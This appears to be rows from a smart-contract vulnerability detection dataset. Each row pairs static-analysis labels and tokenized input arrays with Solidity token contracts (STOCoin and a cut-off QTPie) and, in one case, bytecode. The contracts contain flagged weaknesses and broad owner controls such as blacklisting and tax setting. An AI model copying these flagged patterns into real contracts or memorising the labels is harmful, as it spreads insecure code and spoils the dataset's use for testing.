{'detectors': [{'check': 'uninitialized-storage', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 3676, 21057, 17788, 21486, 2487, 2063, 2475, 2546, 22610, 2497, 2620, 12740, 27717, 2546, 2575, 2620, 2098, 28311, 2050, 29097, 2546, 2487, 5243, 2620, 2581, 22610, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,408
0x96Bb33A8b3aA20dd4F7b62a46f7528931188963E
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract STOCoin is ERC20 { using SafeMath for uint256; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Singapore Taix organization"; string public constant symbol = "STO"; uint public constant decimals = 8; uint256 public totalSupply = 100000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); modifier onlyOwner() { require(msg.sender == owner); _; } function STOCoin () public { owner = msg.sender; balances[msg.sender] = totalSupply; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6060604052600436106100b65763ffffffff60e060020a60003504166306fdde0381146100bb578063095ea7b31461014557806318160ddd1461017b57806323b872dd146101a0578063313ce567146101c85780633ccfd60b146101db57806342966c68146101f057806370a08231146102065780638da5cb5b1461022557806395d89b4114610254578063a9059cbb14610267578063cae9ca5114610289578063dd62ed3e146102ee578063f2fde38b14610313575b600080fd5b34156100c657600080fd5b6100ce610332565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010a5780820151838201526020016100f2565b50505050905090810190601f1680156101375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015057600080fd5b610167600160a060020a0360043516602435610369565b604051901515815260200160405180910390f35b341561018657600080fd5b61018e6103d5565b60405190815260200160405180910390f35b34156101ab57600080fd5b610167600160a060020a03600435811690602435166044356103db565b34156101d357600080fd5b61018e61056b565b34156101e657600080fd5b6101ee610570565b005b34156101fb57600080fd5b6101ee6004356105ca565b341561021157600080fd5b61018e600160a060020a03600435166106a2565b341561023057600080fd5b6102386106bd565b604051600160a060020a03909116815260200160405180910390f35b341561025f57600080fd5b6100ce6106cc565b341561027257600080fd5b610167600160a060020a0360043516602435610703565b341561029457600080fd5b61016760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061080c95505050505050565b34156102f957600080fd5b61018e600160a060020a03600435811690602435166109ac565b341561031e57600080fd5b6101ee600160a060020a03600435166109d7565b60408051908101604052601b81527f53696e6761706f72652054616978206f7267616e697a6174696f6e0000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045481565b6000606060643610156103ea57fe5b600160a060020a03841615156103ff57600080fd5b600160a060020a03851660009081526002602052604090205483111561042457600080fd5b600160a060020a038086166000908152600360209081526040808320339094168352929052205483111561045757600080fd5b600160a060020a038516600090815260026020526040902054610480908463ffffffff610a2e16565b600160a060020a03808716600090815260026020908152604080832094909455600381528382203390931682529190915220546104c3908463ffffffff610a2e16565b600160a060020a0380871660009081526003602090815260408083203385168452825280832094909455918716815260029091522054610509908463ffffffff610a4016565b600160a060020a03808616600081815260026020526040908190209390935591908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b600881565b60015460009033600160a060020a0390811691161461058e57600080fd5b50600154600160a060020a0330811631911681156108fc0282604051600060405180830381858888f1935050505015156105c757600080fd5b50565b60015460009033600160a060020a039081169116146105e857600080fd5b600160a060020a03331660009081526002602052604090205482111561060d57600080fd5b5033600160a060020a0381166000908152600260205260409020546106329083610a2e565b600160a060020a03821660009081526002602052604090205560045461065e908363ffffffff610a2e16565b600455600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a031681565b60408051908101604052600381527f53544f0000000000000000000000000000000000000000000000000000000000602082015281565b60006040604436101561071257fe5b600160a060020a038416151561072757600080fd5b600160a060020a03331660009081526002602052604090205483111561074c57600080fd5b600160a060020a033316600090815260026020526040902054610775908463ffffffff610a2e16565b600160a060020a0333811660009081526002602052604080822093909355908616815220546107aa908463ffffffff610a4016565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b600160a060020a03338116600081815260036020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b8381101561094d578082015183820152602001610935565b50505050905090810190601f16801561097a5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156109a257600080fd5b5060019392505050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a039081169116146109f257600080fd5b600160a060020a038116156105c75760018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b600082821115610a3a57fe5b50900390565b600082820183811015610a4f57fe5b93925050505600a165627a7a723058201c41349762c776fc612a0eb1e33c7686e4b50477e5c37ef63c7e993a092b1f310029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 10322, 22394, 2050, 2620, 2497, 2509, 11057, 11387, 14141, 2549, 2546, 2581, 2497, 2575, 2475, 2050, 21472, 2546, 23352, 22407, 2683, 21486, 15136, 2620, 2683, 2575, 2509, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,409
0x96BB41bb8a44F3c21578b83CF6Fb6FBb0a85B0E0
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactoryV2 { event PairCreated(address indexed token0, address indexed token1, address lpPair, uint); function getPair(address tokenA, address tokenB) external view returns (address lpPair); function createPair(address tokenA, address tokenB) external returns (address lpPair); } interface IV2Pair { function factory() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface IRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IRouter02 is IRouter01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface AntiSnipe { function checkUser(address from, address to, uint256 amt) external returns (bool); function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external; function setLpPair(address pair, bool enabled) external; function setProtections(bool _as, bool _ag, bool _ab, bool _algo) external; function setGasPriceLimit(uint256 gas) external; function removeSniper(address account) external; function removeBlacklisted(address account) external; function isBlacklisted(address account) external view returns (bool); function transfer(address sender) external; function setBlacklistEnabled(address account, bool enabled) external; function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external; function getInitializers() external view returns (string memory, string memory, uint256, uint8); } contract QTPie is IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedFromLimits; mapping (address => bool) private _liquidityHolders; mapping (address => bool) private _isPrivateSaler; mapping (address => uint256) private privateSalerSold; mapping (address => uint256) private privateSalerSellTime; uint256 constant private startingSupply = 100_000_000_000; string constant private _name = "QT Pie"; string constant private _symbol = "QTP"; uint8 constant private _decimals = 18; uint256 constant private _tTotal = startingSupply * 10**_decimals; struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 total; } Fees public _taxRates = Fees({ buyFee: 1100, sellFee: 1100, transferFee: 1100 }); Ratios public _ratios = Ratios({ liquidity: 5, marketing: 6, total: 11 }); uint256 constant public maxBuyTaxes = 2000; uint256 constant public maxSellTaxes = 2000; uint256 constant public maxTransferTaxes = 2000; uint256 constant masterTaxDivisor = 10000; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xa81fdffD0c03bF2F9773e0bBb3134f316af250cd) }); bool inSwap; bool public contractSwapEnabled = false; uint256 public contractSwapTimer = 0 seconds; uint256 private lastSwap; uint256 public swapThreshold = (_tTotal * 5) / 10000; uint256 public swapAmount = (_tTotal * 10) / 10000; uint256 private _maxTxAmount = (_tTotal * 15) / 1000; uint256 private _maxWalletSize = (_tTotal * 25) / 1000; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool public privateSaleLimitsEnabled = true; uint256 public privateSaleDelay = 24 hours; uint256 public privateSaleMaxSell = 25 * 10**16; bool lpInitialized = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountCurrency, uint256 amountTokens); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == msg.sender, "Caller =/= owner."); _; } constructor () payable { _tOwned[msg.sender] = _tTotal; emit Transfer(address(0), msg.sender, _tTotal); // Set the owner. _owner = msg.sender; if (block.chainid == 56) { dexRouter = IRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); } else if (block.chainid == 97) { dexRouter = IRouter02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 43114) { dexRouter = IRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); } else if (block.chainid == 250) { dexRouter = IRouter02(0xF491e7B69E4244ad4002BC14e878a34207E38c29); } else { revert(); } _finalizeTransfer(_owner, DEAD, (_tTotal*2) / 10, false, false, false, true); } function initializeLP() public onlyOwner { require(!lpInitialized, "Already initialized"); lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(_owner, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[_owner] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[_owner] = true; lpInitialized = true; } function preInitializeTransfer(address to, uint256 amount) public onlyOwner { require(!lpInitialized); amount = amount*10**_decimals; _finalizeTransfer(msg.sender, to, amount, false, false, false, true); } function preInitializeTransferMultiple(address[] memory accounts, uint256[] memory amounts) external onlyOwner { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]*10**_decimals); preInitializeTransfer(accounts[i], amounts[i]); } } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function transferOwner(address newOwner) external onlyOwner { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external pure override returns (uint256) { if (_tTotal == 0) { revert(); } return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return _owner; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function setNewRouter(address newRouter) public onlyOwner { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function setInitializer(address initializer) external onlyOwner { require(!_hasLiqBeenAdded); require(initializer != address(this), "Can't be self."); antiSnipe = AntiSnipe(initializer); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _algo) external onlyOwner { antiSnipe.setProtections(_antiSnipe, _antiGas, _antiBlock, _algo); } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 300, "Too low."); antiSnipe.setGasPriceLimit(gas); } function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner { _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.total = liquidity + marketing; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = (_tTotal * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = (_tTotal * percent) / divisor; } function setExcludedFromLimits(address account, bool enabled) external onlyOwner { _isExcludedFromLimits[account] = enabled; } function isExcludedFromLimits(address account) public view returns (bool) { return _isExcludedFromLimits[account]; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function getMaxTX() public view returns (uint256) { return _maxTxAmount / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return _maxWalletSize / (10**_decimals); } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; contractSwapTimer = time; } function setWallets(address payable marketing) external onlyOwner { _taxWallets.marketing = payable(marketing); } function setContractSwapEnabled(bool enabled) external onlyOwner { contractSwapEnabled = enabled; emit ContractSwapEnabledUpdated(enabled); } function isPrivateSaler(address account) external view returns (bool) { return _isPrivateSaler[account]; } function getPrivateAmtSold(address account) external view returns(uint256) { // Return value is in tenths, so 100 returned is 1 ETH. return (privateSalerSold[account] / (10 ** 16)); } function setPrivateSaleVestingSettings(uint256 time, uint256 value, uint256 multiplier) external onlyOwner { require(time <= 48 hours && value * 10**multiplier >= 25 * 10**16); privateSaleDelay = time; privateSaleMaxSell = value * 10**multiplier; } function setPrivateSalers(address[] memory accounts, bool enabled) external onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isPrivateSaler[accounts[i]] = enabled; } } function _hasLimits(address from, address to) private view returns (bool) { return from != _owner && to != _owner && tx.origin != _owner && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(lpInitialized, "LP not initialized!"); bool buy = false; bool sell = false; bool otherTransfer = false; if (lpPairs[from]) { buy = true; } else if (lpPairs[to]) { sell = true; } else { otherTransfer = true; } if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(buy || sell){ if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(to != address(dexRouter) && !sell) { if (!_isExcludedFromLimits[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } if(privateSaleLimitsEnabled) { bool saler = _isPrivateSaler[from]; if(saler) { require(sell || buy); } if(sell && saler && !inSwap) { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); uint256 ethBalance = dexRouter.getAmountsOut(amount, path)[1]; if(privateSalerSellTime[from] + privateSaleDelay < block.timestamp) { require(ethBalance <= privateSaleMaxSell); privateSalerSellTime[from] = block.timestamp; privateSalerSold[from] = ethBalance; } else if (privateSalerSellTime[from] + privateSaleDelay > block.timestamp) { require(privateSalerSold[from] + ethBalance <= privateSaleMaxSell); privateSalerSold[from] += ethBalance; } } } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (sell) { if (!inSwap && contractSwapEnabled ) { if (lastSwap + contractSwapTimer < block.timestamp) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); lastSwap = block.timestamp; } } } } return _finalizeTransfer(from, to, amount, takeFee, buy, sell, otherTransfer); } function contractSwap(uint256 contractTokenBalance) private lockTheSwap { Ratios memory ratios = _ratios; if (ratios.total == 0) { return; } if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.total) / 2; uint256 swapAmt = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmt, 0, path, address(this), block.timestamp ); uint256 amtBalance = address(this).balance; uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, DEAD, block.timestamp ); emit AutoLiquify(liquidityBalance, toLiquify); } amtBalance -= liquidityBalance; ratios.total -= ratios.liquidity; uint256 marketingBalance = amtBalance; if (ratios.marketing > 0) { _taxWallets.marketing.transfer(marketingBalance); } } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} tradingEnabled = true; swapThreshold = balanceOf(lpPair) / 10000; swapAmount = (balanceOf(lpPair) * 25) / 10000; } function sweepContingency() external onlyOwner { require(!_hasLiqBeenAdded, "Cannot call after liquidity."); payable(_owner).transfer(address(this).balance); } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _transfer(msg.sender, accounts[i], amounts[i]*10**_decimals); } } function _finalizeTransfer(address from, address to, uint256 amount, 